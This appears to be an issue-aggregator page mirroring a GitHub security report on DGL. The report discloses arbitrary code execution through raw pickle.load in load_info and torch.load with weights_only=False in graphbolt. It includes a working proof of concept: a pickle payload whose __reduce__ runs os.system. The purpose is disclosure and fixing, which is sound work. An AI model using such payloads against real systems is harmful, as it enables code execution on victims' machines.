dmlc / dmlc/dgl

Arbitrary Code Execution in DGL via `load_info` and Graphbolt Torch-Data Loading

Open
#7,932 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
Python
Stars
14.3k
Forks
3.1k
PR merge metrics
No merged PRs in 30d

Description

# Arbitrary Code Execution in DGL via `load_info` and graphbolt torch-data loading
## Affected Component
- `dgl` — `dgl.data.utils` (`load_info`), `dgl.graphbolt.internal.utils` (`read_data` → `_read_torch_data`); public APIs `dgl.data.utils.load_info(path)` — `dgl/data/utils.py:342` — and `read_data(path, fmt, in_memory=True)` — `dgl/graphbolt/internal/utils.py:40`, reached from public `OnDiskDataset.load()`
- Further referenced sites: `utils.py:31`, `utils.py:40`

## Affected Versions
- Runtime-verified on dgl 2.1.0 (official pip wheel), torch 2.1.2+cpu, Python 3.10, Linux; source-verified on repo main HEAD: raw `pickle.load` at `data/utils.py:356`; hardcoded `torch.load(..., weights_only=False)` at `graphbolt/internal/utils.py:31`, `graphbolt/impl/ondisk_dataset.py:855`, `graphbolt/impl/torch_based_feature_store.py:618`, `distributed/partition.py:374`.
- Upstream status (2026-08-27): master@`3d16000b41` keeps both sink families; `data/lrgb.py:256-1041` (`LRGBDataset`, public `get_idx_split`) adds bare `pickle.load` ×6 on dataset `.pkl` files; the legacy graph_serialize path is a C++-native format, not a pickle sink. Latest Linux-channel release is still 2.1.0. PyPI 2.2.1 (2024-05) ships only a win_amd64 wheel: `load_info` (`:356`) unchanged (still RCE); the 4 graphbolt `weights_only=False` literals were deleted, leaving bare `torch.load` (effectively fixed on torch ≥ 2.6, still RCE on torch < 2.6); the lrgb.py ×6 sites remain.
## Summary
Two independent sinks execute attacker-controlled pickle payloads when a victim loads DGL data files: `load_info` — a public utility recommended in the `DGLDataset` docstring for reading dataset `info.pkl` — calls raw `pickle.load` on the file; and `_read_torch_data` calls `torch.load` with the hardcoded literal `weights_only=False`, disabling the restricted unpickler torch ≥ 2.6 enables by default. Neither API exposes a safety parameter (`load_info(path)` takes only the path; `read_data`'s parameters select the format reader and caching), and no environment variable or config file affects either sink (`DGLBACKEND` selects the tensor backend only). A repo-wide grep for `weights_only=True`, `RestrictedUnpickler`, `safe_globals`, `allow_pickle=False` returns zero matches across the dgl Python tree. For the graphbolt sink the sole mitigation is torch's global `TORCH_FORCE_WEIGHTS_ONLY_LOAD=1` (non-default, breaks legitimate old checkpoints); DGL offers no switch.
## Vulnerable Code
```python
# dgl/data/utils.py
def load_info(path): # :342 (open at :355)
with open(path, "rb") as pf:
info = pickle.load(pf) # :356 *** RCE sink 1: raw pickle.load ***
return info
# dgl/graphbolt/internal/utils.py
def read_data(path, fmt, in_memory=True): # :40
...
return _read_torch_data(path)
def _read_torch_data(path):
return torch.load(path, weights_only=False) # :31 *** RCE sink 2: hardcoded literal ***
```
## Proof of Concept
```python
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/DGL_PWNED 2>&1',))
with open('/tmp/evil_info.pkl', 'wb') as f:
f.write(pickle.dumps(Exploit(), protocol=2))
import dgl
from dgl.data.utils import load_info
info = load_info('/tmp/evil_info.pkl') # sink 1: pickle.load
import torch
torch.save(Exploit(), '/tmp/evil_torch.pt')
from dgl.graphbolt.internal.utils import _read_torch_data
obj = _read_torch_data('/tmp/evil_torch.pt') # sink 2: torch.load(weights_only=False)
```
Install: `pip install "torch==2.1.2" "torchdata==0.7.1" "numpy==1.26.4" --index-url https://download.pytorch.org/whl/cpu`, then `pip install dgl pandas pydantic pyyaml` and `export DGLBACKEND=pytorch`.
## Observed Result
On dgl 2.1.0 / torch 2.1.2+cpu / Python 3.10 / Linux: `load_info` returned `0` and executed the payload — `uid=1000(lbz) gid=1000(lbz) groups=1000(lbz),4(adm),24(cdrom),27(sudo),...` appeared; `_read_torch_data` likewise returned `0` and executed it. `/tmp/DGL_PWNED` contains the victim user's `id` output, and the installed wheel's `data/utils.py:356` was grep-confirmed to contain the raw `pickle.load`. Neither API signature, environment variable, nor configuration file prevents execution on either sink.
## Fix
None at report date. Hardening: drop `weights_only=False` (keep torch's restricted-unpickler default) and use an allowlist `RestrictedUnpickler` in `load_info`.

Contributor guide

No contributing guide indexed for this repository

Research direction

Read dgl/data/utils.py at load_info and dgl/graphbolt/internal/utils.py at read_data and _read_torch_data, then review the additional torch.load sites named in graphbolt/impl, distributed/partition.py, and data/lrgb.py. Run the supplied proof of concept against the affected versions. Done means attacker-controlled data no longer executes code through these loading paths while supported data loading remains usable.

Written by the indexing model from the issue text.

Assessment

Tech stack
python, pytorch
Domain
machine-learning, security
Issue type
Bug
Difficulty
5/5
Estimated time
Over a week
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
25/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.